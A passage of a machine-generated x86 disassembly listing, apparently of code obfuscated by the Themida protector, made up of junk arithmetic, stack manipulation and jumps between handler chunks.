add ecx, eax
jmp loc_5A4402
; ---------------------------------------------------------------------------
loc_593A3A: ; CODE XREF: Themida_:005A1864j
mov ebp, esp
add ebp, 4
add ebp, 4
jmp sub_59B019
; ---------------------------------------------------------------------------
loc_593A4A: ; CODE XREF: sub_59390B+7A15j
dec ebx
xor ebx, 47FE408Eh
neg ebx
xor ebx, 0B9B667ACh
jmp loc_59630D
; ---------------------------------------------------------------------------
lodsb
push 3573h
mov [esp-10h+arg_8], ecx
jmp loc_593F8A
; ---------------------------------------------------------------------------
loc_593A6C: ; CODE XREF: sub_59E93C-D5C0j
push ebp
push esp
jmp loc_597A2A
; ---------------------------------------------------------------------------
loc_593A73: ; CODE XREF: sub_59F2FC-CAAAj
and edi, 433C2B9Ch
not edi
jmp loc_5A10C2
; ---------------------------------------------------------------------------
loc_593A80: ; CODE XREF: sub_59886E+4908j
xor ebx, 2B617150h
xor ebx, 0BCD15D1h
push esi
jmp loc_5A0C62
; ---------------------------------------------------------------------------
loc_593A92: ; CODE XREF: Themida_:0059C974j
and eax, 6035660Ah
shl eax, 5
neg eax
add eax, 3CB22734h
add esi, eax
pop eax
jmp loc_59A213
; ---------------------------------------------------------------------------
loc_593AA9: ; CODE XREF: sub_59390B+1170Fj
pop edx
sub bl, 0EAh
add bl, cl
jmp loc_599D42
; ---------------------------------------------------------------------------
push [esp-0Ch+arg_4]
pop eax
sub esp, 4
mov [esp-8+arg_0], eax
push 3297h
jmp loc_5A0435
; ---------------------------------------------------------------------------
push dword ptr [esp+0]
jmp loc_5A4A4E
; ---------------------------------------------------------------------------
loc_593AD0: ; CODE XREF: sub_59390B+82BEj
mov edx, 18C33B25h
add edx, eax
pop eax
jmp loc_5918B0
; ---------------------------------------------------------------------------
loc_593ADD: ; CODE XREF: Themida_:005A0A31j
mov ebp, [esp+0]
add esp, 4
push 2462h
mov [esp+0], esi
push ebp
push edi
mov edi, 294607D3h
mov ebp, edi
pop edi
jmp loc_5A5AD5
; ---------------------------------------------------------------------------
loc_593AFD: ; CODE XREF: sub_59390B+974j
mov edi, 0B337C08h
add edi, 0F4CC83FCh
jmp sub_59DD1C
; ---------------------------------------------------------------------------
loc_593B0D: ; CODE XREF: sub_59BF22-43BDj
pop edx
and ebx, esi
pop esi
not ebx
push 2043h
mov [esp+0], ecx
mov ecx, 20733308h
and ebx, ecx
pop ecx
sub ebx, 207132FEh
mov edi, ebx
pop ebx
jmp loc_599941
; ---------------------------------------------------------------------------
mov ax, word ptr [esp-0Ch+arg_4]
jmp loc_594149
; ---------------------------------------------------------------------------
loc_593B3A: ; CODE XREF: Themida_:0059E908j
mov edx, 2
push ecx
mov ecx, 7BD56988h
jmp loc_595B81
; ---------------------------------------------------------------------------
loc_593B4A: ; CODE XREF: Themida_:0059169Cj
mov edx, 4DA54141h
shl edx, 6
dec edx
neg edx
and edx, 3A812F41h
sub edx, 12812F3Dh
add edi, edx
pop edx
sub edi, 4
xchg edi, [esp-0Ch+arg_4]
pop esp
jmp loc_590ED0
; ---------------------------------------------------------------------------
loc_593B70: ; CODE XREF: sub_5A4F4F-C86Cj
add edx, 4
push edx
push [esp-0Ch+arg_8]
pop edx
pop [esp-0Ch+arg_4]
pop esp
push esi
mov esi, esp
sub esp, 4
jmp loc_59DAB4
; ---------------------------------------------------------------------------
loc_593B88: ; CODE XREF: sub_59390B+465Dj
mov edx, 5D02438Ch
not edx
and edx, 4C08020Ch
jmp loc_599508
; ---------------------------------------------------------------------------
loc_593B9A: ; CODE XREF: sub_59390B+FE95j
xor [esp-0Ch+arg_4], ecx
xor ecx, [esp-0Ch+arg_4]
pop esp
mov [esp-10h+arg_8], edi
jmp sub_59CFD4
; ---------------------------------------------------------------------------
loc_593BA9: ; CODE XREF: Themida_:00599A08j
add ebx, 5A712E29h
jmp loc_5A1BE0
; ---------------------------------------------------------------------------
loc_593BB4: ; CODE XREF: sub_59B019+5BD6j
add esp, 4
pop [esp-14h+arg_C]
mov esp, [esp-18h+arg_10]
sar word ptr [esp-18h+arg_10], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_593BC7: ; CODE XREF: Themida_:005A18E0j
mov edi, [esp-14h+arg_C]
add esp, 4
jmp loc_5922A2
; ---------------------------------------------------------------------------
loc_593BD5: ; CODE XREF: sub_59918B+9B3Cj
add eax, 4
add eax, 4
jmp loc_595FB3
; ---------------------------------------------------------------------------
loc_593BE4: ; CODE XREF: sub_59390B-2506j
mov edx, [esp-8+arg_0]
add esp, 4
jmp sub_594A8D
; ---------------------------------------------------------------------------
loc_593BEF: ; CODE XREF: sub_59390B+B1BFj
add ebx, 28810E27h
pop esi
jmp loc_596826
; ---------------------------------------------------------------------------
loc_593BFB: ; CODE XREF: sub_5A17BF+30BBj
add esp, 4
jmp loc_59856C
; ---------------------------------------------------------------------------
lodsb
push edx
mov dl, 0E0h
add dl, 0DCh
dec dl
not dl
jmp loc_595505
; ---------------------------------------------------------------------------
loc_593C16: ; CODE XREF: sub_59F8C2+5ACj
add eax, 4
xor eax, [esp-10h+arg_8]
xor [esp-10h+arg_8], eax
xor eax, [esp-10h+arg_8]
jmp loc_598D09
; ---------------------------------------------------------------------------
loc_593C29: ; CODE XREF: sub_59CF38-37E3j
add ebx, 1AA66ED9h
add esi, ebx
pop ebx
push [esp-14h+arg_C]
push [esp-10h+arg_8]
mov eax, [esp-0Ch+arg_4]
add esp, 4
add esp, 4
add esp, 4
sub esi, 4
jmp loc_5A0EF2
; ---------------------------------------------------------------------------
loc_593C52: ; DATA XREF: Themida_:005909BCo
neg [esp-18h+arg_10]
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_593C5B: ; CODE XREF: Themida_:0059DD7Dj
add eax, 4
add eax, 4
jmp loc_595C89
; ---------------------------------------------------------------------------
loc_593C6A: ; CODE XREF: Themida_:00598117j
add dh, ch
add dh, 8Fh
push cx
push eax
mov al, 7Dh
jmp loc_5A5128
; ---------------------------------------------------------------------------
loc_593C79: ; CODE XREF: Themida_:005A1A67j
pop esp
sub dl, ah
jmp loc_59F44A
; ---------------------------------------------------------------------------
loc_593C81: ; CODE XREF: sub_59390B+BADBj
pop edx
push 0
sub [esp-12h+arg_8+2], esi
pop esi
jmp loc_5931B9
; ---------------------------------------------------------------------------
loc_593C90: ; CODE XREF: sub_593879+9j
pop edx
not edx
jmp loc_5A2C6E
; ---------------------------------------------------------------------------
loc_593C98: ; CODE XREF: Themida_:0059E888j
pop edx
add esi, ebx
pop ebx
push 4FF6h
mov [esp-1Eh+arg_14+2], ebp
mov ebp, 4
add esi, 22F14F31h
add esi, ebp
push ebx
mov ebx, 0A193E5Ch
and ebx, 612405F5h
jmp loc_59C328
; ---------------------------------------------------------------------------
loc_593CC2: ; CODE XREF: Themida_:0059A3F0j
push esp
pop ecx
push 4811h
jmp loc_590F49
; ---------------------------------------------------------------------------
loc_593CCE: ; CODE XREF: sub_5A4CDD-EDF0j
add ecx, ebx
sub ecx, 7B0B5B7Ch
pop ebx
and eax, ecx
jmp loc_59302D
; ---------------------------------------------------------------------------
loc_593CDE: ; CODE XREF: sub_591A08+6j
xor [esp-1Ah+arg_14+2], ebp
pop ebp
pop eax
push ecx
mov ecx, 31D03121h
xor eax, ecx
jmp loc_5A18FE
; ---------------------------------------------------------------------------
loc_593CF1: ; CODE XREF: sub_59390B+B31Ej
xchg ebp, [esp-1Eh+arg_14+2]
mov esp, [esp-1Eh+arg_14+2]
push edx
mov edx, 4D8F340Ah
xor edx, 4D8F340Eh
add ebx, edx
pop edx
add ebx, 4
xor ebx, [esp-1Eh+arg_14+2]
xor [esp-1Eh+arg_14+2], ebx
xor ebx, [esp-1Eh+arg_14+2]
jmp loc_5A2F24
; ---------------------------------------------------------------------------
loc_593D1A: ; CODE XREF: sub_59390B+4AF8j
mov eax, 4
add esi, 61685479h
add esi, eax
sub esi, 61685479h
jmp loc_5956E9
; ---------------------------------------------------------------------------
loc_593D32: ; CODE XREF: Themida_:0059916Cj
push edi
push 13686612h
pop edi
or edi, 70DB7A00h
neg edi
jmp loc_595297
; ---------------------------------------------------------------------------
loc_593D46: ; CODE XREF: Themida_:005962E6j
mov ebx, [esp-1Ah+arg_10+2]
add esp, 4
sub ecx, 4
jmp loc_596455
; ---------------------------------------------------------------------------
loc_593D57: ; CODE XREF: Themida_:0059DC39j
pop ecx
add ecx, edx
pop edx
push edx
push 4
pop edx
add ecx, edx
pop edx
xchg ecx, [esp-26h+arg_1C+2]
jmp loc_5993ED
; ---------------------------------------------------------------------------
loc_593D6D: ; CODE XREF: sub_599294+17j
shr ebx, 1
or ebx, 57756C62h
jmp loc_59E987
; ---------------------------------------------------------------------------
loc_593D7A: ; CODE XREF: Themida_:005A5966j
shl ch, 6
sub ch, 0FFh
sub esp, 4
mov [esp-22h+arg_18+2], eax
mov al, 0E5h
xor ch, al
pop eax
add ch, 3Dh
sub esp, 4
mov [esp-22h+arg_18+2], ebx
mov bl, 0DCh
jmp loc_596D04
; ---------------------------------------------------------------------------
loc_593D9E: ; CODE XREF: Themida_:0059EE7Aj
xor esi, 2892A7Dh
xor esi, 204A2CE7h
add ebx, esi
push [esp-22h+arg_18+2]
pop esi
jmp loc_591F81
; ---------------------------------------------------------------------------
loc_593DB5: ; CODE XREF: sub_591745+BAF9j
push 5393h
mov [esp-1Eh+arg_14+2], eax
jmp loc_595C62
; ---------------------------------------------------------------------------
loc_593DC2: ; CODE XREF: sub_59B817+9j
add ebx, 4
add ebx, 4
jmp loc_59536D
; ---------------------------------------------------------------------------
loc_593DD3: ; CODE XREF: Themida_:005976A8j
mov [esp-1Eh+arg_14+2], ebx
mov ebx, 0
push ecx
mov ecx, 3E597F84h
add ebx, ecx
pop ecx
sub esp, 4
mov [esp-1Ah+arg_10+2], eax
mov eax, 1DE553DDh
shl eax, 4
and eax, 171D7720h
sub eax, 3DD87140h
push edx
mov edx, 1
sub eax, edx
pop edx
jmp loc_5984A3
; ---------------------------------------------------------------------------
loc_593E0D: ; CODE XREF: sub_59390B-1A78j
inc edi
xor edi, 54DD345Fh
jmp loc_5A3720
; ---------------------------------------------------------------------------
loc_593E19: ; CODE XREF: Themida_:00597A66j
push ebp
push ecx
jmp loc_593246
; ---------------------------------------------------------------------------
loc_593E20: ; CODE XREF: sub_59390B+A600j
pop esp
pop dword ptr [esp+0]
mov esp, [esp-8+arg_0]
mul cl
movzx cx, ah
push eax
push 1099h
push esp
pop [esp+4+var_4]
add dword ptr [esp+0], 4
mov eax, [esp+0]
add esp, 4
push 4C3Fh
mov [esp+0], ecx
push edi
mov edi, 294A6029h
add edi, 4B390908h
shr edi, 2
dec edi
not edi
add edi, 0FFFFFFFFh
not edi
sub edi, 1D20DA48h
mov ecx, edi
mov edi, [esp+4+var_4]
add esp, 4
add eax, ecx
mov ecx, [esp+0]
push edx
jmp loc_5A2A99
; ---------------------------------------------------------------------------
loc_593E7F: ; DATA XREF: Themida_:00590984o
mov ax, word ptr [esp+4+var_4]
push esi
jmp loc_594274
; ---------------------------------------------------------------------------
loc_593E89: ; CODE XREF: sub_59390B+C9BAj
mov edx, [esp+8+var_8]
add esp, 4
push 1D9Eh
mov [esp+8+var_8], ecx
jmp sub_59667F
; ---------------------------------------------------------------------------
loc_593E9F: ; CODE XREF: sub_59EA40-449Ej
add esp, 4
add edi, 328D7068h
push esi
mov esi, 331E7588h
sub edi, 254117C5h
sub edi, esi
add edi, 254117C5h
pop esi
jmp loc_59D942
; ---------------------------------------------------------------------------
loc_593EC2: ; CODE XREF: sub_59B57F+9j
pop edi
pop ebp
add edi, 0FFFFFFFFh
dec edi
shr edi, 3
push 61ECh
mov [esp+0], esi
mov esi, 65C02704h
xor edi, esi
pop esi
push edx
mov edx, 5C742FF1h
neg edx
sub edx, 52E73D08h
jmp loc_598E95
; ---------------------------------------------------------------------------
loc_593EF1: ; CODE XREF: sub_59390B+D497j
mov eax, 46D70C1Fh
sub ecx, eax
pop eax
sub ecx, 6CA078Dh
jmp loc_592471
; ---------------------------------------------------------------------------
loc_593F04: ; CODE XREF: Themida_:0059D9BCj
not eax
xor eax, 4242A49Fh
xor ebp, eax
pop eax
sub edx, 1FAB7213h
sub edx, ebp
add edx, 1FAB7213h
jmp loc_59BD96
; ---------------------------------------------------------------------------
loc_593F21: ; CODE XREF: sub_59B8C7-9E91j
mov edx, esp
push edi
push ecx
push eax
mov eax, 21BE2E2Dh
mov ecx, eax
jmp loc_5A196D
; ---------------------------------------------------------------------------
loc_593F32: ; CODE XREF: sub_5A2FE9-D46Dj
mov fs:[edx], ax
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_593F3B: ; CODE XREF: sub_59A958+397Cj
push edi
mov edi, 1C632907h
inc edi
xor edi, 46BB6F93h
sub edi, 5AD84697h
add ebx, edi
pop edi
push ebx
jmp loc_5960EB
; ---------------------------------------------------------------------------
loc_593F57: ; CODE XREF: sub_59F5AB-9599j
shr eax, 6
jmp loc_59DC94
; ---------------------------------------------------------------------------
loc_593F5F: ; CODE XREF: Themida_:00598DB0j
mov di, word ptr [esp+8+var_8]
push eax
mov eax, esp
add eax, 4
add eax, 2
xchg eax, [esp+0Ch+var_C]
jmp loc_5987BC
; ---------------------------------------------------------------------------
loc_593F76: ; CODE XREF: Themida_:005A43A3j
add esp, 4
mov edi, [esp+8+var_8]
add esp, 4
push ebp
mov ebp, esp
jmp loc_5A494F
; ---------------------------------------------------------------------------
loc_593F8A: ; CODE XREF: sub_59390B+15Cj
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp-10h+arg_8]
mov esp, [esp-10h+arg_8]
mov [esp-10h+arg_8], edx
push small 65AFh
mov word ptr [esp-0Eh+arg_4+2], cx
push 562Dh
mov [esp-0Ah+arg_0+2], ebx
mov bh, 0F6h
mov cl, 0CEh
xor cl, bh
pop ebx
mov dh, cl
pop cx
add al, dh
push [esp-10h+arg_8]
jmp loc_5A53CA
; ---------------------------------------------------------------------------
loc_593FC6: ; CODE XREF: sub_59390B+10FF0j
mov [esp-0Ch+arg_4], eax
mov al, dl
push ecx
mov cl, al
mov [ebx], cl
pop ecx
pop eax
mov ebx, [esp-10h+arg_8]
add esp, 4
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_593FDD: ; CODE XREF: sub_5A2D8D-6AEEj
add ecx, edi
add ecx, 3EB10208h
push ebp
mov ebp, 495F0BA4h
neg ebp
sub ebp, 74EB5485h
jmp loc_593436
; ---------------------------------------------------------------------------
loc_593FF8: ; CODE XREF: sub_59390B-771j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+0]
pop esp
jmp loc_5A40D3
; ---------------------------------------------------------------------------
loc_59400F: ; CODE XREF: sub_59390B+D0FAj
neg eax
jmp loc_595D98
; ---------------------------------------------------------------------------
loc_594016: ; CODE XREF: sub_592A27+F795j
mov [esp+0], ecx
push 38AA57EFh
push dword ptr [esp+0]
pop ecx
add esp, 4
push edi
mov edi, 62F4871h
or ecx, edi
pop edi
add ecx, 28020828h
mov ebp, ecx
mov ecx, [esp+0]
add esp, 4
mov dword ptr [edx+38h], 66B16827h
push ebx
push 5BF9h
mov [esp+0], esi
mov esi, 74476A06h
mov ebx, 74476A3Eh
sub ebx, 28810E27h
jmp loc_59EAC8
; ---------------------------------------------------------------------------
loc_594067: ; CODE XREF: Themida_:0059910Cj
xchg eax, esi
dec esi
dec esi
shr esi, 5
push ecx
jmp loc_59614A
; ---------------------------------------------------------------------------
loc_594073: ; CODE XREF: sub_59390B+7C91j
pop eax
sub esp, 4
mov [esp+4+var_4], eax
push ebp
jmp loc_597E5C
; ---------------------------------------------------------------------------
loc_594080: ; CODE XREF: Themida_:0059C6F5j
xor word ptr [esp+8+var_8], di
xor di, word ptr [esp+8+var_8]
xor word ptr [esp+8+var_8], di
jmp loc_59123F
; ---------------------------------------------------------------------------
loc_594091: ; CODE XREF: sub_59DD1C-6725j
add esp, 4
add esi, 3444408h
mov edi, [esp+4+var_4]
add esp, 4
sub esp, 4
mov [esp+4+var_4], eax
push edx
mov edx, 327504EEh
sub edx, 327504ECh
jmp loc_5A2434
; ---------------------------------------------------------------------------
loc_5940BD: ; CODE XREF: sub_595941+859Bj
add edx, 4
xchg edx, [esp+8+var_8]
mov esp, [esp+8+var_8]
or edx, eax
shl edx, 1
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
push 464Bh
jmp loc_594D5D
; ---------------------------------------------------------------------------
loc_5940E0: ; CODE XREF: sub_594C24-1A2Bj
pop esp
pop [esp+0Ch+var_C]
push 2EC7h
mov [esp+0Ch+var_C], edx
xchg ebx, [esp+0Ch+var_C]
not ebx
push ebx
push [esp+10h+var_C]
push [esp+14h+var_14]
pop ebx
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp+18h+var_18]
jmp loc_59EE4C
; ---------------------------------------------------------------------------
loc_59410E: ; CODE XREF: sub_59771B+22j
sub eax, 4
jmp loc_59828F
; ---------------------------------------------------------------------------
loc_594118: ; CODE XREF: Themida_:005A12CBj
sub ebx, 0FE1CD1h
add ebx, 766F3199h
add ebx, 3F076C88h
pop ebp
xchg ebx, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
xchg esi, [esp+14h+var_14]
pop esp
shl word ptr [esp+10h+var_10], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59413F: ; CODE XREF: sub_595BAD+CCA6j
mov ebp, 73051BB1h
jmp loc_59794A
; ---------------------------------------------------------------------------
loc_594149: ; CODE XREF: sub_59390B+22Aj
push edi
push esp
pop edi
push edx
push ebx
push ebp
jmp loc_5938CC
; ---------------------------------------------------------------------------
loc_594154: ; CODE XREF: Themida_:0059D46Aj
add esp, 4
xchg edx, [esp+0]
mov esp, [esp+0]
imul ecx
push 10D6h
jmp loc_591BA9
; ---------------------------------------------------------------------------
loc_59416C: ; CODE XREF: sub_592CFC+AA44j
pop ecx
jmp loc_594587
; ---------------------------------------------------------------------------
loc_594172: ; CODE XREF: sub_59931D+12A7j
mov eax, 1
mov edx, eax
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
push 4EDBh
mov [esp+8+var_8], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+8+var_8]
jmp loc_597660
; ---------------------------------------------------------------------------
loc_59419A: ; CODE XREF: sub_59731A+E381j
xor esi, [esp+8+var_8]
jmp loc_59EC9F
; ---------------------------------------------------------------------------
loc_5941A2: ; CODE XREF: sub_59390B+871Bj
inc dh
or dh, 0C1h
add dh, 0BFh
mov bl, dh
pop edx
add bl, 0D2h
xor bl, 5Bh
sub esp, 4
mov [esp+8+var_8], ecx
push eax
jmp loc_5A03D2
; ---------------------------------------------------------------------------
loc_5941BF: ; CODE XREF: sub_59390B+5798j
xor ebx, [esp+0Ch+var_C]
pop esp
mov edi, [esp+8+var_8]
add esp, 4
sub esp, 4
mov [esp+8+var_8], ebx
push 2B542C9Bh
jmp loc_59C06D
; ---------------------------------------------------------------------------
loc_5941DC: ; CODE XREF: sub_59390B+3E4Dj
xchg eax, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
mov edx, [esp+0Ch+var_C]
add esp, 4
jmp loc_5A378B
; ---------------------------------------------------------------------------
loc_5941F0: ; CODE XREF: Themida_:00596AF8j
xchg eax, [esp+8+var_8]
mov esp, [esp+8+var_8]
add eax, 58CC198Ch
push 21D4h
mov [esp+0Ch+var_C], esi
push 200h
jmp loc_5A2AA8
; ---------------------------------------------------------------------------
loc_59420D: ; CODE XREF: sub_592E25-792j
and eax, 4A076ED1h
xor eax, 15F32A63h
push ecx
mov ecx, 49927F87h
inc ecx
xor ecx, 3E7E17D0h
dec ecx
add ecx, 6B556D57h
push eax
mov eax, 28BF0534h
xor ecx, eax
pop eax
sub ecx, 0AC168251h
sub edx, ecx
pop ecx
sub edx, eax
jmp loc_59EE9E
; ---------------------------------------------------------------------------
loc_594244: ; CODE XREF: sub_59390B+F2F6j
sub edi, 334A6A5Eh
pop esi
push 4BD8h
mov [esp+10h+var_10], ebx
mov ebx, 32845664h
dec ebx
not ebx
jmp loc_59AD6E
; ---------------------------------------------------------------------------
loc_594260: ; CODE XREF: Themida_:00592FCAj
pop esp
add ecx, edx
push esi
mov esi, 35FE0D47h
or esi, 32549Bh
jmp loc_59FDA1
; ---------------------------------------------------------------------------
loc_594274: ; CODE XREF: sub_59390B+579j
push esp
pop esi
sub esp, 4
mov [esp+0Ch+var_C], edi
jmp loc_593AFD
; ---------------------------------------------------------------------------
loc_594284: ; CODE XREF: sub_59390B+33A4j
sub esi, 4
xchg esi, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], esi
jmp loc_59FF7B
; ---------------------------------------------------------------------------
loc_594293: ; CODE XREF: sub_597C8E+9B25j
add ebp, esi
add ebp, 4F1812ABh
mov esi, [esp+8+var_8]
add esp, 4
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov cx, word ptr [esp+4+var_4]
push 37Fh
mov [esp+8+var_8], edi
push 2615h
mov [esp+0Ch+var_C], esp
push 5B3Eh
mov [esp+10h+var_10], eax
mov eax, 4
add [esp+10h+var_C], 19B25850h
push 0CDh
jmp loc_599E10
; ---------------------------------------------------------------------------
loc_5942DA: ; CODE XREF: sub_5999E6-1FEDj
push 3BA1h
mov [esp+18h+var_18], ecx
jmp loc_595DEE
; ---------------------------------------------------------------------------
loc_5942E7: ; CODE XREF: sub_59390B+BB3Aj
add esp, 4
xor ecx, 0F1380703h
sub ebp, 161D1ACDh
add ebp, 6B3A2DE5h
sub ebp, 756B0C27h
add ebp, ecx
add ebp, 756B0C27h
jmp loc_59AF38
; ---------------------------------------------------------------------------
loc_59430F: ; CODE XREF: sub_59D1FC-6577j
push ecx
mov ecx, 4
jmp loc_59E591
; ---------------------------------------------------------------------------
loc_59431A: ; CODE XREF: Themida_:005A4B93j
add esp, 4
jmp loc_5A1C3E
; ---------------------------------------------------------------------------
loc_594325: ; CODE XREF: Themida_:005A30F2j
add dl, bh
pop ebx
push ax
mov ah, 1
sub dl, ah
jmp loc_594CF4
; ---------------------------------------------------------------------------
loc_594333: ; CODE XREF: sub_59390B+D8E2j
shl bh, 1
jmp loc_5980B1
; ---------------------------------------------------------------------------
loc_59433A: ; CODE XREF: Themida_:0059A870j
add esp, 4
mov [edi+eax*4+1], bl
jmp loc_59D0D0
; ---------------------------------------------------------------------------
loc_594346: ; CODE XREF: sub_59390B+6ED5j
push edi
mov edi, esp
add edi, 4
push esi
mov esi, 4
jmp loc_59A4FB
; ---------------------------------------------------------------------------
loc_59435A: ; CODE XREF: sub_59390B+1F31j
add ebp, 5D2F4570h
pop eax
xchg ebp, [esp+12h+var_14+2]
jmp loc_591556
; ---------------------------------------------------------------------------
loc_594369: ; CODE XREF: Themida_:00595E4Aj
xor byte ptr [esp+12h+var_14+2], al
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_594372: ; CODE XREF: sub_59390B+3D78j
push 3D68h
mov [esp+0], ebp
push 44274868h
jmp loc_59D840
; ---------------------------------------------------------------------------
loc_594384: ; CODE XREF: sub_59390B+39j
mov cl, 4Fh
mov dl, 7Eh
add dl, cl
pop ecx
jmp loc_593A00
sub_59390B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E716
loc_594390: ; CODE XREF: sub_59E716+4C2Bj
pop esp
push ebx
push edi
jmp sub_5971C0
; END OF FUNCTION CHUNK FOR sub_59E716
; ---------------------------------------------------------------------------
loc_594398: ; CODE XREF: Themida_:0059A4C4j
push dword ptr [esp]
pop esi
jmp loc_5914CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5943A1: ; CODE XREF: sub_59390B+9D00j
push esp
pop edi
jmp loc_599842
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5943A8: ; CODE XREF: Themida_:0059542Bj
mov ebp, 36746C2Ah
jmp loc_59C8B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59822A
loc_5943B2: ; CODE XREF: sub_59822A+28CCj
push [esp+4+var_4]
jmp loc_5A1827
; END OF FUNCTION CHUNK FOR sub_59822A
; ---------------------------------------------------------------------------
loc_5943BA: ; CODE XREF: Themida_:005996BCj
mov ebx, [esp]
add esp, 4
jmp loc_599C06
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5943C5: ; CODE XREF: sub_59390B+F0j
pop edi
xchg edx, [esp+4+var_4]
mov esp, [esp+4+var_4]
push 230Dh
mov [esp+8+var_8], ebp
push 451Dh
jmp loc_5A5BDA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_5943DE: ; CODE XREF: sub_59A75E+45C6j
sub bx, 6AD0h
jmp loc_598EE2
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_5943E8: ; CODE XREF: Themida_:00599ECCj
add ebp, ecx
pop ecx
add ebp, 0F6E0F5DCh
add edx, ebp
pop ebp
sub esp, 4
mov [esp], ebx
mov ebx, 4
add edx, 57C863E5h
add edx, ebx
sub edx, 57C863E5h
pop ebx
xchg edx, [esp]
pop esp
add ebx, 4
jmp loc_599B49
; ---------------------------------------------------------------------------
mov ax, [esp]
push 0B8Ch
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub esp, 4
mov [esp], esi
jmp loc_59C6D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59443F: ; CODE XREF: sub_59390B+B58Ej
pop ecx
sub ebx, 4
jmp loc_59928B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59444B: ; CODE XREF: Themida_:0059279Aj
and edx, eax
pop eax
sub edx, 1
jmp loc_5920F4
; ---------------------------------------------------------------------------
loc_594456: ; CODE XREF: Themida_:005A0145j
mov esp, [esp]
imul ecx, eax
push ecx
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_594463: ; CODE XREF: sub_590BDF+2j
mov esi, 7666704Fh
sub esi, 57EB4CB0h
mov ebx, esi
jmp loc_5A357F
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594475: ; CODE XREF: sub_59390B+9F03j
mov [esp+8+var_8], edx
mov edx, 32361F6Bh
xor edx, 55537712h
add edx, 0D30B9Eh
shl edx, 3
neg edx
push edi
jmp loc_594EA0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
push 4BEDh
mov [esp], eax
push ecx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_59A5AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5944B1: ; CODE XREF: sub_599AE1+7900j
not ebx
jmp loc_59D55E
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_5944B8: ; CODE XREF: Themida_:005981F0j
pop ecx
add ecx, 4
jmp loc_595E6D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59822A
loc_5944C4: ; CODE XREF: sub_59822A+9600j
pop ebp
push esi
mov esi, 4
add ebp, esi
pop esi
push ecx
jmp loc_597517
; END OF FUNCTION CHUNK FOR sub_59822A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5944D4: ; CODE XREF: sub_595BAD+102Aj
mov ebp, 61DD0E7Eh
xor eax, ebp
pop ebp
sub ecx, eax
pop eax
push 21D3h
mov [esp+0], edi
jmp loc_59A57C
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5944EC: ; CODE XREF: sub_59390B+686Aj
push 34D52E64h
pop ebx
add ebx, 0DFEE4C34h
push eax
mov eax, 30940A7Bh
jmp loc_598C93
; ---------------------------------------------------------------------------
loc_594503: ; CODE XREF: sub_59390B+650Dj
add [esp+10h+var_8], edi
mov edi, [esp+10h+var_10]
push eax
mov eax, esp
add eax, 4
add eax, 4
push eax
push [esp+18h+var_14]
pop eax
pop [esp+18h+var_18]
jmp loc_5A4A48
; ---------------------------------------------------------------------------
loc_594523: ; CODE XREF: sub_59390B+7A39j
add esp, 4
add esp, 4
and eax, ebx
pop ebx
shr eax, 0Eh
jmp loc_599F70
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_594534: ; DATA XREF: Themida_:00590994o
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
push ebx
jmp loc_59E271
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_594543: ; CODE XREF: sub_59A431-830j
add esi, ecx
jmp loc_59CB89
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59454A: ; CODE XREF: sub_59390B+10484j
pop eax
pop [esp+4+var_4]
push dword ptr [esp+0]
push [esp+4+var_4]
pop edx
jmp loc_59DE81
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5950DF
loc_59455A: ; CODE XREF: sub_5950DF+30A1j
mov esp, [esp-4+arg_0]
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_5950DF
; ---------------------------------------------------------------------------
loc_594562: ; CODE XREF: Themida_:00591B3Dj
add dl, 1
shl dl, 1
jmp loc_591546
; ---------------------------------------------------------------------------
